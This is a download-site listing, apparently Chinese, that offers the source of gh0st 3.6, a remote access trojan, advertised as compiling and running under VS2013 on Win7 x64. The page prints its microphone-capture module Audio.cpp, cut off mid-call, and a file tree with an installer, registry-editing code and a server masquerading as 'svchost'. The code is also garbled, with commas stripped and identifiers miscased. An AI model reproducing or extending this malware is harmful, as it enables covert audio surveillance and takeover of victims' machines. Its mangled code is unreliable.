资源简介

gh0st3.6工具源码 win7下 x64环境 vs2013编译通过 可调试运行

资源截图

代码片段和文件信息


// Audio.cpp: implementation of the CAudio class.
//
#include “Audio.h“

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CAudio::CAudio()
{
m_hEventWaveIn = CreateEvent(NULL false false NULL);
m_hStartRecord = CreateEvent(NULL false false NULL);
m_hThreadCallBack = NULL;
m_nWaveInIndex = 0;
m_nWaveOutIndex = 0;
m_nBufferLength = 1000; // m_GSMWavefmt.wfx.nSamplesPerSec / 8(bit)

m_bIsWaveInUsed = false;
m_bIsWaveOutUsed = false;

for (int i = 0; i < 2; i++)
{
m_lpInAudioData[i] = new BYTE[m_nBufferLength];
m_lpInAudioHdr[i] = new WAVEHDR;

m_lpOutAudioData[i] = new BYTE[m_nBufferLength];
m_lpOutAudioHdr[i] = new WAVEHDR;
}

memset(&m_GSMWavefmt 0 sizeof(GSM610WAVEFORMAT));

m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610; // ACM will auto convert wave format
m_GSMWavefmt.wfx.nChannels = 1;
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
m_GSMWavefmt.wfx.nBlockAlign = 65;
m_GSMWavefmt.wfx.wBitsPerSample = 0;
m_GSMWavefmt.wfx.cbSize = 2;
m_GSMWavefmt.wSamplesPerBlock = 320;
}

CAudio::~CAudio()
{
if (m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; i++)
waveInUnprepareHeader(m_hWaveIn m_lpInAudioHdr[i] sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
TerminateThread(m_hThreadCallBack -1);
}

if (m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
for (int i = 0; i < 2; i++)
waveOutUnprepareHeader(m_hWaveOut m_lpInAudioHdr[i] sizeof(WAVEHDR));
waveOutClose(m_hWaveOut);
}


for (int i = 0; i < 2; i++)
{
delete [] m_lpInAudioData[i];
delete m_lpInAudioHdr[i];

delete [] m_lpOutAudioData[i];
delete m_lpOutAudioHdr[i];
}

CloseHandle(m_hEventWaveIn);
CloseHandle(m_hStartRecord);
CloseHandle(m_hThreadCallBack);
}

LPBYTE CAudio::getRecordBuffer(LPDWORD lpdwBytes)
{
// Not open WaveIn yet so open it...
if (!m_bIsWaveInUsed && !InitializeWaveIn())
return NULL;

if (lpdwBytes == NULL)
return NULL;

SetEvent(m_hStartRecord);
WaitForSingleobject(m_hEventWaveIn INFINITE);
*lpdwBytes = m_nBufferLength;
return m_lpInAudioData[m_nWaveInIndex];
}

bool CAudio::playBuffer(LPBYTE lpWaveBuffer DWORD dwBytes)
{
if (!m_bIsWaveOutUsed && !InitializeWaveOut())
return NULL;

for (int i = 0; i < dwBytes; i += m_nBufferLength)
{
memcpy(m_lpOutAudioData[m_nWaveOutIndex] lpWaveBuffer m_nBufferLength);
waveOutWrite(m_hWaveOut m_lpOutAudioHdr[m_nWaveOutIndex] sizeof(WAVEHDR));
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
}
return true;
}

bool CAudio::InitializeWaveIn()
{
if (!waveInGetNumDevs())
return false;

MMRESULT mmResult;
DWORD dwThreadID = 0;
m_hThreadCallBack = CreateThread(NULL 0 (LPTHREAD_START_ROUTINE)waveInCallBack (LPVOID)this CREATE_SUSPENDED

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2019-01-29 10:57  gh0st\
     文件         139  2016-02-21 10:57  gh0st\.gitignore
     目录           0  2019-01-29 11:01  gh0st\Bin\
     文件          12  2016-02-21 10:57  gh0st\README.md
     目录           0  2019-01-29 11:01  gh0st\Release\
     目录           0  2019-01-28 15:47  gh0st\Server\
     目录           0  2019-01-28 15:47  gh0st\Server\Bin\
     目录           0  2019-01-28 15:49  gh0st\Server\Bin\Update\
     文件         615  2019-01-28 15:49  gh0st\Server\Bin\Update\svchost.exp
     文件        1654  2019-01-28 15:49  gh0st\Server\Bin\Update\svchost.lib
     目录           0  2019-01-28 15:47  gh0st\Server\install\
     文件        1215  2016-02-21 10:57  gh0st\Server\install\ReadMe.txt
     文件        7333  2016-02-21 10:57  gh0st\Server\install\RegEditEx.h
     目录           0  2019-01-29 11:01  gh0st\Server\install\Release\
     文件         294  2016-02-21 10:57  gh0st\Server\install\StdAfx.cpp
     文件         771  2016-02-21 10:57  gh0st\Server\install\StdAfx.h
     文件       15385  2016-02-21 10:57  gh0st\Server\install\acl.h
     文件        1410  2016-02-21 10:57  gh0st\Server\install\decode.h
     文件      121272  2019-01-25 13:33  gh0st\Server\install\install.aps
     文件       16793  2019-01-24 16:24  gh0st\Server\install\install.cpp
     文件        2844  2016-02-21 10:57  gh0st\Server\install\install.dsp
     文件        1651  2016-02-21 10:57  gh0st\Server\install\install.plg
     文件        1629  2019-01-25 13:32  gh0st\Server\install\install.rc
     文件        3644  2016-02-21 10:57  gh0st\Server\install\install.vcproj
     文件         810  2016-02-21 10:57  gh0st\Server\install\install.vcproj.ZEShan04-PC.ZEShan04.user
     文件        4424  2019-01-24 15:24  gh0st\Server\install\install.vcxproj
     文件        1229  2019-01-24 15:24  gh0st\Server\install\install.vcxproj.filters
     目录           0  2019-01-29 11:01  gh0st\Server\install\res\
     文件         529  2016-02-21 10:57  gh0st\Server\install\resource.h
     目录           0  2019-01-28 15:47  gh0st\Server\svchost\
     文件       13456  2016-02-21 10:57  gh0st\Server\svchost\ClientSocket.cpp
............此处省略286个文件信息

评论

共有 条评论